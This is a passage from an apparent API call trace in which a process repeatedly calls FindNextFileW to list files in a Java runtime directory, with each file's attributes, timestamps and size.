nFileSizeLow=0x205a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="hprof.dll", cAlternateFileName="")) returned 1 [0088.129] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x32ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="installer.dll", cAlternateFileName="")) returned 1 [0088.129] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1c1a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="instrument.dll", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2pcsc.dll", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2pkcs11.dll", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaas_nt.dll", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jabswitch.exe", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="java-rmi.exe", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1d5a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.dll", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2a9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.exe", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1e7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="JavaAccessBridge-32.dll", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x105a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="javacpl.exe", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3b3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx-font.dll", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2dfa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx-iio.dll", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2aba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaw.exe", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x409a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="java_crw_demo.dll", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x37a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jawt.dll", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="JAWTAccessBridge-32.dll", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="JdbcOdbc.dll", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x283a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jdwp.dll", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.dll", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1afa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxmedia.dll", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb579a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxwebkit.dll", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x22da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jli.dll", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x313a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2iexp.dll", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xcda8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2launcher.exe", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2native.dll", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x29fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2ssv.dll", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x239a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpeg.dll", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x16da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpicom.dll", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x261a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpiexp.dll", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x195a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpinscp.dll", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x10da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpioji.dll", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x229a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpishare.dll", cAlternateFileName="")) returned 1 [0088.131] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2c9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jqs.exe", cAlternateFileName="")) returned 1 [0088.131] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdt.dll", cAlternateFileName="")) returned 1 [0088.131] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x77a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsound.dll", cAlternateFileName="")) returned 1 [0088.131] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsoundds.dll", cAlternateFileName="")) returned 1 [0088.131] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2b7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="kcms.dll", cAlternateFileName="")) returned 1 [0088.131] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="keytool.exe", cAlternateFileName="")) returned 1 [0088.131] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="kinit.exe", cAlternateFileName="")) returned 1 [0088.131] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="klist.exe", cAlternateFileName="")) returned 1 [0088.131] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ktab.exe", cAlternateFileName="")) returned 1 [0088.131] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6dba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="libxml2.dll", cAlternateFileName="")) returned 1 [0088.131] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x269a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="libxslt.dll", cAlternateFileName="")) returned 1 [0088.131] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="management.dll", cAlternateFileName="")) returned 1 [0088.131] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8c1a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mlib_image.dll", cAlternateFileName="")) returned 1 [0088.131] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, 